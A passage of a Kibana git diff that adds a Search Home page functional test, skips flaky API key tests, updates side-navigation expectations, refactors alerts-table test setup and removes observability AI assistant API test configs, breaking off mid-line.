Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import expect from '@kbn/expect'; +import { FtrProviderContext } from '../ftr_provider_context'; +import { testHasEmbeddedConsole } from './embedded_console'; + +export default function ({ getPageObjects, getService }: FtrProviderContext) { + const pageObjects = getPageObjects([ + 'embeddedConsole', + 'header', + 'common', + 'searchStart', + 'searchOverview', + 'apiKeys', + 'searchHomePage', + 'searchNavigation', + ]); + const es = getService('es'); + const browser = getService('browser'); + const spaces = getService('spaces'); + const testSubjects = getService('testSubjects'); + const retry = getService('retry'); + + const esDeleteAllIndices = getService('esDeleteAllIndices'); + + const indexName = 'test-my-index'; + + describe('Search Home page', function () { + describe('Solution Nav - Search', function () { + let cleanUp: () => Promise; + let spaceCreated: { id: string } = { id: '' }; + + before(async () => { + // Navigate to the spaces management page which will log us in Kibana + await pageObjects.common.navigateToUrl('management', 'kibana/spaces', { + shouldUseHashForSubUrl: false, + }); + + // Create a space with the search solution and navigate to its home page + ({ cleanUp, space: spaceCreated } = await spaces.create({ + name: 'search-ftr', + solution: 'es', + })); + await browser.navigateTo(spaces.getRootUrl(spaceCreated.id)); + }); + + after(async () => { + // Clean up space created + await cleanUp(); + await esDeleteAllIndices(indexName); + }); + + describe('search home page', () => { + beforeEach(async () => { + await esDeleteAllIndices(indexName); + await pageObjects.searchNavigation.navigateToElasticsearchOverviewPage( + `/s/${spaceCreated.id}` + ); + }); + + afterEach(async () => { + await esDeleteAllIndices(indexName); + }); + + it('should have embedded dev console', async () => { + await testHasEmbeddedConsole(pageObjects); + }); + + it('redirect to start page when no indices are exists', async () => { + await pageObjects.searchStart.expectToBeOnStartPage(); + }); + + it('load search home page', async () => { + await es.indices.create({ index: indexName }); + await pageObjects.searchNavigation.navigateToElasticsearchSearchHomePage(); + await pageObjects.searchHomePage.expectSearchHomePageIsLoaded(); + }); + }); + + describe('search home page with existing indices', () => { + before(async () => { + await es.indices.create({ index: indexName }); + await pageObjects.searchNavigation.navigateToElasticsearchSearchHomePage( + `/s/${spaceCreated.id}` + ); + }); + + beforeEach(async () => { + await pageObjects.searchNavigation.navigateToElasticsearchSearchHomePage(); + }); + + after(async () => { + await esDeleteAllIndices(indexName); + }); + + describe('Elasticsearch endpoint and API Keys', function () { + it('renders Elasticsearch endpoint with copy functionality', async () => { + await testSubjects.existOrFail('copyEndpointButton'); + await testSubjects.existOrFail('endpointValueField'); + }); + + it('renders API keys buttons and active badge correctly', async () => { + await testSubjects.existOrFail('createApiKeyButton'); + await testSubjects.existOrFail('manageApiKeysButton'); + await testSubjects.existOrFail('activeApiKeysBadge'); + }); + + it('opens create_api_key flyout on clicking CreateApiKey button', async () => { + await testSubjects.click('createApiKeyButton'); + await retry.try(async () => { + expect(await pageObjects.apiKeys.getFlyoutTitleText()).to.be('Create API key'); + }); + }); + + it('opens API keys management page on clicking Manage API Keys', async () => { + await testSubjects.existOrFail('manageApiKeysButton'); + await testSubjects.click('manageApiKeysButton'); + expect(await browser.getCurrentUrl()).contain('/app/management/security/api_keys'); + }); + }); + + describe('Connect To Elasticsearch Side Panel', function () { + it('renders the "Upload a file" card with copy link', async () => { + await testSubjects.existOrFail('uploadFileButton'); + await testSubjects.click('uploadFileButton'); + expect(await browser.getCurrentUrl()).contain('ml/filedatavisualizer'); + }); + }); + + describe('AI search capabilities', function () { + it('renders Semantic Search content', async () => { + await testSubjects.existOrFail('aiSearchCapabilities-item-semantic'); + await testSubjects.existOrFail('createSemanticOptimizedIndexButton'); + await testSubjects.click('createSemanticOptimizedIndexButton'); + expect(await browser.getCurrentUrl()).contain('app/elasticsearch/indices/create'); + }); + + it('renders Vector Search content', async () => { + await testSubjects.scrollIntoView('aiSearchCapabilities-item-vector'); + await testSubjects.existOrFail('aiSearchCapabilities-item-vector'); + await testSubjects.click('aiSearchCapabilities-item-vector'); + await testSubjects.existOrFail('createVectorIndexButton'); + await testSubjects.click('createVectorIndexButton'); + expect(await browser.getCurrentUrl()).contain('app/elasticsearch/indices/create'); + }); + }); + + describe('Alternate Solutions', function () { + it('renders Observability content', async () => { + await testSubjects.scrollIntoView('analyzeLogsBrowseIntegrations'); + await testSubjects.existOrFail('analyzeLogsBrowseIntegrations'); + await testSubjects.click('analyzeLogsBrowseIntegrations'); + expect(await browser.getCurrentUrl()).contain('browse/observability'); + }); + }); + + describe('Dive deeper with Elasticsearch', function () { + it('renders Search labs content', async () => { + await testSubjects.existOrFail('searchLabsSection'); + await testSubjects.existOrFail('searchLabsButton'); + await testSubjects.click('searchLabsButton'); + expect(await browser.getCurrentUrl()).contain('search-labs'); + }); + + it('renders Open Notebooks content', async () => { + await testSubjects.existOrFail('pythonNotebooksSection'); + await testSubjects.existOrFail('openNotebooksButton'); + await testSubjects.click('openNotebooksButton'); + expect(await browser.getCurrentUrl()).contain('search-labs/tutorials/examples'); + }); + + it('renders Elasticsearch Documentation content', async () => { + await testSubjects.existOrFail('elasticsearchDocumentationSection'); + await testSubjects.existOrFail('viewDocumentationButton'); + await testSubjects.click('viewDocumentationButton'); + expect(await browser.getCurrentUrl()).contain('docs/solutions/search/get-started'); + }); + }); + + describe('Footer content', function () { + it('displays the community link', async () => { + await testSubjects.existOrFail('elasticCommunityLink'); + await testSubjects.click('elasticCommunityLink'); + expect(await browser.getCurrentUrl()).contain('community/'); + }); + + it('displays the feedbacks link', async () => { + await testSubjects.existOrFail('giveFeedbackLink'); + await testSubjects.click('giveFeedbackLink'); + expect(await browser.getCurrentUrl()).contain('kibana/feedback'); + }); + }); + }); + }); + }); +} diff --git a/x-pack/test/functional_search/tests/search_onboarding_api_keys.ts b/x-pack/test/functional_search/tests/search_onboarding_api_keys.ts index 081647db88a66..1b33e41c2ac6b 100644 --- a/x-pack/test/functional_search/tests/search_onboarding_api_keys.ts +++ b/x-pack/test/functional_search/tests/search_onboarding_api_keys.ts @@ -103,17 +103,20 @@ export default function ({ getPageObjects, getService }: FtrProviderContext) { const refreshBrowserApiKeyUI = await searchApiKeys.getAPIKeyFromUI(); expect(refreshBrowserApiKeyUI).to.eql(apiKeyUI); + // Following tests are skipped as they are not working in the current setup. We will need to look into what is causing the issue with API key invalidation and regeneration. + // check that when api key is invalidated, a new one is generated - await searchApiKeys.invalidateAPIKey(apiKeySession!.id); - await browser.refresh(); - await searchStart.clickCodeViewButton(); - await searchApiKeys.expectAPIKeyAvailable(); - const newApiKeyUI = await searchApiKeys.getAPIKeyFromUI(); - expect(newApiKeyUI).to.not.eql(apiKeyUI); - await searchStart.expectAPIKeyVisibleInCodeBlock(newApiKeyUI); + // await searchApiKeys.invalidateAPIKey(apiKeySession!.id); + // await browser.refresh(); + // await searchStart.clickCodeViewButton(); + // await searchApiKeys.expectAPIKeyAvailable(); + // const newApiKeyUI = await searchApiKeys.getAPIKeyFromUI(); + // expect(newApiKeyUI).to.not.eql(apiKeyUI); + // await searchStart.expectAPIKeyVisibleInCodeBlock(newApiKeyUI); }); - it('should create a new api key when the existing one is invalidated', async () => { + // This test is skipped since it is flaky + it.skip('should create a new api key when the existing one is invalidated', async () => { await searchStart.expectToBeOnStartPage(); await searchStart.clickCodeViewButton(); await searchApiKeys.expectAPIKeyAvailable(); diff --git a/x-pack/test/functional_search/tests/search_start.ts b/x-pack/test/functional_search/tests/search_start.ts index 0aa3eb5a22d00..da2133989de9d 100644 --- a/x-pack/test/functional_search/tests/search_start.ts +++ b/x-pack/test/functional_search/tests/search_start.ts @@ -46,6 +46,7 @@ export default function ({ getPageObjects, getService }: FtrProviderContext) { // Clean up space created await cleanUp(); await deleteAllTestIndices(); + await searchStart.clearSkipEmptyStateStorageFlag(); }); describe('Developer rights', function () { @@ -117,18 +118,19 @@ export default function ({ getPageObjects, getService }: FtrProviderContext) { await searchStart.expectAnalyzeLogsIntegrationLink(); await searchStart.expectCreateO11ySpaceBtn(); }); + it('should have close button', async () => { await searchStart.expectToBeOnStartPage(); await searchStart.expectCloseCreateIndexButtonExists(); await searchStart.clickCloseCreateIndexButton(); - await searchStart.expectToBeOnIndexListPage(); + await searchStart.expectToBeOnSearchHomepagePage(); }); it('should have skip button', async () => { await searchStart.expectToBeOnStartPage(); await searchStart.expectSkipButtonExists(); await searchStart.clickSkipButton(); - await searchStart.expectToBeOnIndexListPage(); + await searchStart.expectToBeOnSearchHomepagePage(); }); }); }); diff --git a/x-pack/test/functional_search/tests/solution_navigation.ts b/x-pack/test/functional_search/tests/solution_navigation.ts index 200ee8daf71cf..0fde72d70e7fb 100644 --- a/x-pack/test/functional_search/tests/solution_navigation.ts +++ b/x-pack/test/functional_search/tests/solution_navigation.ts @@ -54,6 +54,7 @@ export default function searchSolutionNavigation({ await solutionNavigation.sidenav.expectLinkExists({ text: 'Connectors' }); await solutionNavigation.sidenav.expectLinkExists({ text: 'Search applications' }); await solutionNavigation.sidenav.expectLinkExists({ text: 'Synonyms' }); + await solutionNavigation.sidenav.expectLinkExists({ text: 'Query Rules' }); await solutionNavigation.sidenav.expectLinkExists({ text: 'Inference Endpoints' }); await solutionNavigation.sidenav.expectLinkExists({ text: 'Dev Tools' }); }); @@ -64,12 +65,7 @@ export default function searchSolutionNavigation({ // check side nav links await solutionNavigation.sidenav.expectSectionExists('search_project_nav'); await solutionNavigation.sidenav.expectLinkActive({ - deepLinkId: 'enterpriseSearch', - }); - await solutionNavigation.breadcrumbs.expectBreadcrumbExists({ text: 'Build' }); - await solutionNavigation.breadcrumbs.expectBreadcrumbExists({ text: 'Index Management' }); - await solutionNavigation.breadcrumbs.expectBreadcrumbExists({ - text: 'Indices', + deepLinkId: 'searchHomepage', }); await solutionNavigation.breadcrumbs.expectBreadcrumbExists({ text: 'Create your first index', @@ -167,7 +163,7 @@ export default function searchSolutionNavigation({ ); await solutionNavigation.sidenav.expectOnlyDefinedLinks([ 'search_project_nav', - 'enterpriseSearch', + 'searchHomepage', 'discover', 'dashboards', 'build', @@ -177,6 +173,7 @@ export default function searchSolutionNavigation({ 'enterpriseSearchApplications:searchApplications', 'relevance', 'searchSynonyms:synonyms', + 'searchQueryRules', 'searchInferenceEndpoints:inferenceEndpoints', 'search_project_nav_footer', 'dev_tools', diff --git a/x-pack/test/functional_solution_sidenav/tests/search_sidenav.ts b/x-pack/test/functional_solution_sidenav/tests/search_sidenav.ts index fdf419facc206..58641434aaea0 100644 --- a/x-pack/test/functional_solution_sidenav/tests/search_sidenav.ts +++ b/x-pack/test/functional_solution_sidenav/tests/search_sidenav.ts @@ -41,9 +41,6 @@ export default function ({ getPageObjects, getService }: FtrProviderContext) { // check side nav links await solutionNavigation.sidenav.expectSectionExists('search_project_nav'); - await solutionNavigation.sidenav.expectLinkActive({ - deepLinkId: 'enterpriseSearch', - }); // check the Data > Indices section await solutionNavigation.sidenav.clickLink({ @@ -68,12 +65,10 @@ export default function ({ getPageObjects, getService }: FtrProviderContext) { // navigate back to the home page using header logo await solutionNavigation.clickLogo(); - await solutionNavigation.sidenav.expectLinkActive({ - deepLinkId: 'enterpriseSearch', - }); + // Redirected to Onboarding Page to Create Index await solutionNavigation.breadcrumbs.expectBreadcrumbExists({ - text: 'Build', + text: 'Create your first index', }); await expectNoPageReload(); diff --git a/x-pack/test/functional_with_es_ssl/apps/embeddable_alerts_table/embeddable_alerts_table.ts b/x-pack/test/functional_with_es_ssl/apps/embeddable_alerts_table/embeddable_alerts_table.ts index d2887dffcd603..a2b868afe045e 100644 --- a/x-pack/test/functional_with_es_ssl/apps/embeddable_alerts_table/embeddable_alerts_table.ts +++ b/x-pack/test/functional_with_es_ssl/apps/embeddable_alerts_table/embeddable_alerts_table.ts @@ -33,7 +33,7 @@ export default ({ getPageObjects, getService }: FtrProviderContext) => { 'dashboard', 'timePicker', ]); - const browser = getService('browser'); + const security = getService('security'); const retry = getService('retry'); const find = getService('find'); @@ -42,153 +42,40 @@ export default ({ getPageObjects, getService }: FtrProviderContext) => { const comboBox = getService('comboBox'); const dashboardAddPanel = getService('dashboardAddPanel'); const toasts = getService('toasts'); + const sampleData = getService('sampleData'); + const rules = getService('rules'); + const es = getService('es'); + const config = getService('config'); + const retryTimeout = config.get('timeouts.try'); - const createEsQueryRule = async (index: string, solution: 'stack' | 'observability') => { - const name = `${solution}-rule`; - const { body: createdRule } = await supertest - .post(`/api/alerting/rule`) - .set('kbn-xsrf', 'foo') - .send({ - name, - rule_type_id: `.es-query`, - enabled: true, - schedule: { interval: '5s' }, - consumer: solution === 'stack' ? 'stackAlerts' : 'logs', - tags: [name], - params: { - searchConfiguration: { - query: { - query: '', - language: 'kuery', - }, - index, - }, - timeField: 'timestamp', - searchType: 'searchSource', - timeWindowSize: 5, - timeWindowUnit: 'h', - threshold: [-1], - thresholdComparator: '>', - size: 1, - aggType: 'count', - groupBy: 'all', - termSize: 5, - excludeHitsFromPreviousRun: false, - sourceFields: [], - }, - }) - .expect(200); - objectRemover.add(createdRule.id, 'rule', 'alerting'); - return createdRule; - }; - - const createSecurityRule = async (index: string) => { - const { body: createdRule } = await supertest - .post(`/api/detection_engine/rules`) - .set('kbn-xsrf', 'foo') - .send({ - type: 'query', - filters: [], - language: 'kuery', - query: '_id: *', - required_fields: [], - data_view_id: index, - author: [], - false_positives: [], - references: [], - risk_score: 21, - risk_score_mapping: [], - severity: 'low', - severity_mapping: [], - threat: [], - max_signals: 100, - name: 'security-rule', - description: 'security-rule', - tags: ['security-rule'], - setup: '', - license: '', - interval: '5s', - from: 'now-10m', - to: 'now', - actions: [], - enabled: true, - meta: { - kibana_siem_app_url: 'http://localhost:5601/app/security', - }, - }) - .expect(200); - objectRemover.add(createdRule.id, 'rule', 'alerting'); - return createdRule; - }; - - const getSampleWebLogsDataView = async () => { - const { body } = await supertest - .post(`/api/content_management/rpc/search`) - .set('kbn-xsrf', 'foo') - .send({ - contentTypeId: 'index-pattern', - query: { limit: 10 }, - version: 1, - }) - .expect(200); - return body.result.result.hits.find( - (dataView: { attributes: { title: string } }) => - dataView.attributes.title === 'kibana_sample_data_logs' - ); - }; + describe('Embeddable alerts panel', () => { + before(async () => { + await sampleData.testResources.installAllKibanaSampleData(); - const getRuleSummary = async (ruleId: string) => { - const { body: summary } = await supertest - .get(`/internal/alerting/rule/${encodeURIComponent(ruleId)}/_alert_summary`) - .expect(200); - return summary; - }; + const dataViews = await getDataViews(); + const sampleDataLogsDataView = dataViews.find( + (dataView) => dataView.title === 'kibana_sample_data_logs' + )!; - // Failing: See https://github.com/elastic/kibana/issues/220807 - describe.skip('Embeddable alerts panel', () => { - before(async () => { - await pageObjects.common.navigateToUrl('home', '/tutorial_directory/sampleData', { - useActualUrl: true, - }); - await pageObjects.home.addSampleDataSet('logs'); - const dataView = await getSampleWebLogsDataView(); const [stackRule, observabilityRule, securityRule] = await Promise.all([ - createEsQueryRule(dataView.id, 'stack'), - createEsQueryRule(dataView.id, 'observability'), - createSecurityRule(dataView.id), + createEsQueryRule(sampleDataLogsDataView.id, 'stack'), + createEsQueryRule(sampleDataLogsDataView.id, 'observability'), + createSecurityRule(sampleDataLogsDataView.id), ]); - // Refresh to see the created rules - await browser.refresh(); - await pageObjects.header.waitUntilLoadingHasFinished(); + await waitForRuleToBecomeActive(stackRule.id); + await waitForRuleToBecomeActive(observabilityRule.id); + await waitForRuleToBecomeActive(securityRule.id); - // Wait for all rules to have created alerts - const rulesAlerted: Record = { - [stackRule.id]: false, - [observabilityRule.id]: false, - [securityRule.id]: false, - }; - await retry.try(async () => { - const rulesWithoutAlerts = Object.entries(rulesAlerted) - .filter(([_, alerted]) => !alerted) - .map(([ruleId]) => ruleId); - await Promise.all( - rulesWithoutAlerts.map(async (ruleId) => { - const summary = await getRuleSummary(ruleId); - rulesAlerted[ruleId] = Object.keys(summary.alerts).length > 0; - }) - ); - expect(Object.values(rulesAlerted).every((hasAlerts) => hasAlerts)).to.be(true); - }); + await waitForAlertsToBeCreated(stackRule.id); + await waitForAlertsToBeCreated(observabilityRule.id); + await waitForAlertsToBeCreated(securityRule.id); await pageObjects.dashboard.gotoDashboardURL(); }); after(async () => { - await pageObjects.common.navigateToUrl('home', '/tutorial_directory/sampleData', { - useActualUrl: true, - }); - await pageObjects.home.addSampleDataSet('logs'); + await sampleData.testResources.removeAllKibanaSampleData(); await objectRemover.removeAll(); }); @@ -336,11 +223,134 @@ export default ({ getPageObjects, getService }: FtrProviderContext) => { await find.clickByCssSelector( '[data-test-subj=customizePanel] [data-test-subj=superDatePickerToggleQuickMenuButton]' ); - await testSubjects.click('superDatePickerCommonlyUsed_Last_24 hours'); + await testSubjects.click('superDatePickerCommonlyUsed_sample_data range'); await testSubjects.click('saveCustomizePanelButton'); await retry.try(async () => expect((await testSubjects.findAll('alertsTableEmptyState')).length).to.equal(1) ); }); }); + + const createEsQueryRule = async (index: string, solution: 'stack' | 'observability') => { + const name = `${solution}-rule`; + const createdRule = await rules.api.createRule({ + name, + ruleTypeId: `.es-query`, + schedule: { interval: '5s' }, + consumer: solution === 'stack' ? 'stackAlerts' : 'logs', + tags: [name], + params: { + searchConfiguration: { + query: { + query: '', + language: 'kuery', + }, + index, + }, + timeField: 'timestamp', + searchType: 'searchSource', + timeWindowSize: 5, + timeWindowUnit: 'h', + threshold: [-1], + thresholdComparator: '>', + size: 1, + aggType: 'count', + groupBy: 'all', + termSize: 5, + excludeHitsFromPreviousRun: false, + sourceFields: [], + }, + }); + + objectRemover.add(createdRule.id, 'rule', 'alerting'); + + return createdRule; + }; + + const createSecurityRule = async (index: string) => { + const { body: createdRule } = await supertest + .post(`/api/detection_engine/rules`) + .set('kbn-xsrf', 'foo') + .send({ + type: 'query', + filters: [], + language: 'kuery', + query: '_id: *', + required_fields: [], + data_view_id: index, + author: [], + false_positives: [], + references: [], + risk_score: 21, + risk_score_mapping: [], + severity: 'low', + severity_mapping: [], + threat: [], + max_signals: 100, + name: 'security-rule', + description: 'security-rule', + tags: ['security-rule'], + setup: '', + license: '', + interval: '5s', + from: 'now-10m', + to: 'now', + actions: [], + enabled: true, + meta: { + kibana_siem_app_url: 'http://localhost:5601/app/security', + }, + }) + .expect(200); + + objectRemover.add(createdRule.id, 'rule', 'alerting'); + + return createdRule; + }; + + const waitForAlertsToBeCreated = async (ruleId: string) => { + return await retry.tryForTime(retryTimeout, async () => { + const response = await es.search({ + index: '.alerts*', + query: { + bool: { + filter: [ + { + term: { + 'kibana.alert.rule.uuid': ruleId, + }, + }, + ], + }, + }, + }); + + if (response.hits.hits.length === 0) { + throw new Error(`No hits found for index .alerts* and ruleId ${ruleId}`); + } + + return response; + }); + }; + + const waitForRuleToBecomeActive = async (ruleId: string) => { + return await retry.tryForTime(retryTimeout, async () => { + const rule = await rules.api.getRule(ruleId); + + const { execution_status: executionStatus } = rule || {}; + const { status } = executionStatus || {}; + + if (status === 'active' || status === 'ok') { + return executionStatus?.status; + } + + throw new Error(`waitForStatus(active|ok): got ${status}`); + }); + }; + + const getDataViews = async (): Promise> => { + const response = await supertest.get('/api/data_views').expect(200); + + return response.body.data_view; + }; }; diff --git a/x-pack/test/observability_ai_assistant_api_integration/common/action_connectors.ts b/x-pack/test/observability_ai_assistant_api_integration/common/action_connectors.ts deleted file mode 100644 index b577ef03c5eb6..0000000000000 --- a/x-pack/test/observability_ai_assistant_api_integration/common/action_connectors.ts +++ /dev/null @@ -1,63 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { ToolingLog } from '@kbn/tooling-log'; -import { Agent } from 'supertest'; - -export async function deleteActionConnector({ - supertest, - connectorId, - log, -}: { - supertest: Agent; - connectorId: string; - log: ToolingLog; -}) { - try { - await supertest - .delete(`/api/actions/connector/${connectorId}`) - .set('kbn-xsrf', 'foo') - .expect(204); - } catch (e) { - log.error(`Failed to delete action connector with id ${connectorId} due to: ${e}`); - throw e; - } -} - -export async function createProxyActionConnector({ - log, - supertest, - port, -}: { - log: ToolingLog; - supertest: Agent; - port: number; -}) { - try { - const res = await supertest - .post('/api/actions/connector') - .set('kbn-xsrf', 'foo') - .send({ - name: 'OpenAI Proxy', - connector_type_id: '.gen-ai', - config: { - apiProvider: 'OpenAI', - apiUrl: `http://localhost:${port}`, - }, - secrets: { - apiKey: 'my-api-key', - }, - }) - .expect(200); - - const connectorId = res.body.id as string; - return connectorId; - } catch (e) { - log.error(`Failed to create action connector due to: ${e}`); - throw e; - } -} diff --git a/x-pack/test/observability_ai_assistant_api_integration/common/config.ts b/x-pack/test/observability_ai_assistant_api_integration/common/config.ts deleted file mode 100644 index 6505ad3e94d64..0000000000000 --- a/x-pack/test/observability_ai_assistant_api_integration/common/config.ts +++ /dev/null @@ -1,123 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { Config, FtrConfigProviderContext } from '@kbn/test'; -import { UrlObject } from 'url'; -import { ObservabilityAIAssistantFtrConfigName } from '../configs'; -import { getApmSynthtraceEsClient } from './create_synthtrace_client'; -import { InheritedFtrProviderContext, InheritedServices } from './ftr_provider_context'; -import { getScopedApiClient } from './observability_ai_assistant_api_client'; -import { editor, secondaryEditor, unauthorizedUser, viewer } from './users/users'; - -export interface ObservabilityAIAssistantFtrConfig { - name: ObservabilityAIAssistantFtrConfigName; - license: 'basic' | 'trial'; - kibanaConfig?: Record; -} - -export type CreateTestConfig = ReturnType; - -export type CreateTest = ReturnType; - -export type ObservabilityAIAssistantApiClients = Awaited< - ReturnType ->; - -export type ObservabilityAIAssistantAPIClient = Awaited< - ReturnType ->; - -export type ObservabilityAIAssistantServices = Awaited>['services']; - -export class ForbiddenApiError extends Error { - status: number; - - constructor(message: string = 'Forbidden') { - super(message); - this.name = 'ForbiddenApiError'; - this.status = 403; - } -} - -export function createObservabilityAIAssistantAPIConfig({ - config, - license, - name, - kibanaConfig, -}: { - config: Config; - license: 'basic' | 'trial'; - name: string; - kibanaConfig?: Record; -}) { - const services = config.get('services') as InheritedServices; - const servers = config.get('servers'); - const kibanaServer = servers.kibana as UrlObject; - const apmSynthtraceKibanaClient = services.apmSynthtraceKibanaClient(); - const allConfigs = config.getAll() as Record; - - const getScopedApiClientForUsername = (username: string) => - getScopedApiClient(kibanaServer, username); - - return { - ...allConfigs, - servers, - services: { - ...services, - getScopedApiClientForUsername: () => getScopedApiClientForUsername, - apmSynthtraceEsClient: (context: InheritedFtrProviderContext) => - getApmSynthtraceEsClient(context, apmSynthtraceKibanaClient), - observabilityAIAssistantAPIClient: async () => { - return { - admin: getScopedApiClientForUsername('elastic'), - viewer: getScopedApiClientForUsername(viewer.username), - editor: getScopedApiClientForUsername(editor.username), - secondaryEditor: getScopedApiClientForUsername(secondaryEditor.username), - unauthorizedUser: getScopedApiClientForUsername(unauthorizedUser.username), - }; - }, - }, - junit: { - reportName: `Observability AI Assistant API Integration tests (${name})`, - }, - esTestCluster: { - ...config.get('esTestCluster'), - license, - }, - kbnTestServer: { - ...config.get('kbnTestServer'), - serverArgs: [ - ...config.get('kbnTestServer.serverArgs'), - ...(kibanaConfig - ? Object.entries(kibanaConfig).map(([key, value]) => - Array.isArray(value) ? `--${key}=${JSON.stringify(value)}` : `--${key}=${value}` - ) - : []), - ], - }, - }; -} - -export function createTestConfig(config: ObservabilityAIAssistantFtrConfig) { - const { license, name, kibanaConfig } = config; - - return async ({ readConfigFile }: FtrConfigProviderContext) => { - const xPackAPITestsConfig = await readConfigFile( - require.resolve('../../api_integration/config.ts') - ); - - return { - ...createObservabilityAIAssistantAPIConfig({ - config: xPackAPITestsConfig, - name, - license, - kibanaConfig, - }), - testFiles: [require.resolve('../tests')], - }; - }; -} diff --git a/x-pack/test/observability_ai_assistant_api_integration/common/ftr_provider_context.ts b/x-pack/test/observability_ai_assistant_api_integration/common/ftr_provider_context.ts deleted file mode 100644 index 1c0277c210d61..0000000000000 --- a/x-pack/test/observability_ai_assistant_api_integration/common/ftr_provider_context.ts +++ /dev/null @@ -1,20 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { GenericFtrProviderContext } from '@kbn/test'; -import { FtrProviderContext as InheritedFtrProviderContext } from '../../api_integration/ftr_provider_context'; -import { ObservabilityAIAssistantServices } from './config'; - -export type InheritedServices = InheritedFtrProviderContext extends GenericFtrProviderContext< - infer TServices, - {} -> - ? TServices - : {}; - -export type { InheritedFtrProviderContext }; -export type FtrProviderContext = GenericFtrProviderContext; diff --git a/x-pack/test/observability_ai_assistant_api_integration/configs/index.ts b/x-pack/test/observability_ai_assistant_api_integration/configs/index.ts deleted file mode 100644 index d31f13d546bf9..0000000000000 --- a/x-pack/test/observability_ai_assistant_api_integration/configs/index.ts +++ /dev/null @@ -1,47 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { mapValues } from 'lodash'; -import path from 'path'; -import { createTestConfig, CreateTestConfig } from '../common/config'; - -export const observabilityAIAssistantDebugLogger = { - name: 'plugins.observabilityAIAssistant', - level: 'debug', - appenders: ['console'], -}; - -export const observabilityAIAssistantFtrConfigs = { - basic: { - license: 'basic' as const, - kibanaConfig: { - 'logging.loggers': [observabilityAIAssistantDebugLogger], - }, - }, - enterprise: { - license: 'trial' as const, - kibanaConfig: { - 'logging.loggers': [observabilityAIAssistantDebugLogger], - 'plugin-path': path.resolve( - __dirname, - '../../../../src/platform/test/analytics/plugins/analytics_ftr_helpers' - ), - }, - }, -}; - -export type ObservabilityAIAssistantFtrConfigName = keyof typeof observabilityAIAssistantFtrConfigs; - -export const configs: Record = mapValues( - observabilityAIAssistantFtrConfigs, - (value, key) => { - return createTestConfig({ - name: key as ObservabilityAIAssistantFtrConfigName, - ...value, - }); - } -); diff --git a/x-pack/test/observability_ai_assistant_api_integration/tests/index.ts b/x-pack/test/observability_ai_assistant_api_integration/tests/index.ts deleted file mode 100644 index e0312d2f76019..0000000000000 --- a/x-pack/test/observability_ai_assistant_api_integration/tests/index.ts +++ /dev/null @@ -1,33 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ -import globby from 'globby'; -import path from 'path'; -import { createUsersAndRoles } from '../common/users/create_users_and_roles'; -import { FtrProviderContext } from '../common/ftr_provider_context'; - -const cwd = path.join(__dirname); - -export default function observabilityAIAssistantApiIntegrationTests({ - getService, - loadTestFile, -}: FtrProviderContext) { - describe('Observability AI Assistant API tests', function () { - const filePattern = '**/*.spec.ts'; - const tests = globby.sync(filePattern, { cwd }); - - // Creates roles and users before running tests - before(async () => { - await createUsersAndRoles(getService); - }); - - tests.forEach((testName) => { - describe(testName, () => { - loadTestFile(require.resolve(`./${testName}`)); - }); - }); - }); -} diff --git a/x-pack/test/observability_ai_assistant_functional/common/config.ts b/x-pack/test/observability_ai_assistant_functional/common/config.ts index eb267123adf2b..bee949cbeb19f 100644 --- a/x-pack/test/observability_ai_assistant_functional/common/config.ts +++ b/x-pack/test/observability_ai_assistant_functional/common/config.ts @@ -6,24 +6,50 @@ */ import { FtrConfigProviderContext } from '@kbn/test'; -import { merge } from 'lodash'; import { UrlObject } from 'url'; import { KibanaEBTServerProvider, KibanaEBTUIProvider, } from '@kbn/test-suites-src/analytics/services/kibana_ebt'; -import { - secondaryEditor, - editor, - viewer, -} from '../../observability_ai_assistant_api_integration/common/users/users'; -import { - ObservabilityAIAssistantFtrConfig, - createObservabilityAIAssistantAPIConfig, -} from '../../observability_ai_assistant_api_integration/common/config'; -import { getScopedApiClient } from '../../observability_ai_assistant_api_integration/common/observability_ai_assistant_api_client'; +import path from 'path'; +import { secondaryEditor, editor, viewer } from './users/users'; +import { getScopedApiClient } from '../../api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/observability_ai_assistant_api_client'; import { InheritedFtrProviderContext, InheritedServices } from '../ftr_provider_context'; import { ObservabilityAIAssistantUIProvider } from './ui'; +import { getApmSynthtraceEsClient } from './create_synthtrace_client'; + +export interface ObservabilityAIAssistantFtrConfig { + name: ObservabilityAIAssistantFtrConfigName; + license: 'basic' | 'trial'; + kibanaConfig?: Record; +} + +export const observabilityAIAssistantDebugLogger = { + name: 'plugins.observabilityAIAssistant', + level: 'debug', + appenders: ['console'], +}; + +export const observabilityAIAssistantFtrConfigs = { + basic: { + license: 'basic' as const, + kibanaConfig: { + 'logging.loggers': [observabilityAIAssistantDebugLogger], + }, + }, + enterprise: { + license: 'trial' as const, + kibanaConfig: { + 'logging.loggers': [observabilityAIAssistantDebugLogger], + 'plugin-path': path.resolve( + __dirname, + '../../../../src/platform/test/analytics/plugins/analytics_ftr_helpers' + ), + }, + }, +}; + +export type ObservabilityAIAssistantFtrConfigName = keyof typeof observabilityAIAssistantFtrConfigs; export type CreateTestConfig = ReturnType; export type TestConfig = Awaited>; @@ -41,38 +67,55 @@ async function getTestConfig({ }) { const testConfig = await readConfigFile(require.resolve('../../functional/config.base.js')); - const baseConfig = createObservabilityAIAssistantAPIConfig({ - config: testConfig, - license, - name, - kibanaConfig, - }); - - const kibanaServer = baseConfig.servers.kibana as UrlObject; + const getScopedApiClientForUsername = (username: string) => + getScopedApiClient(kibanaServer, 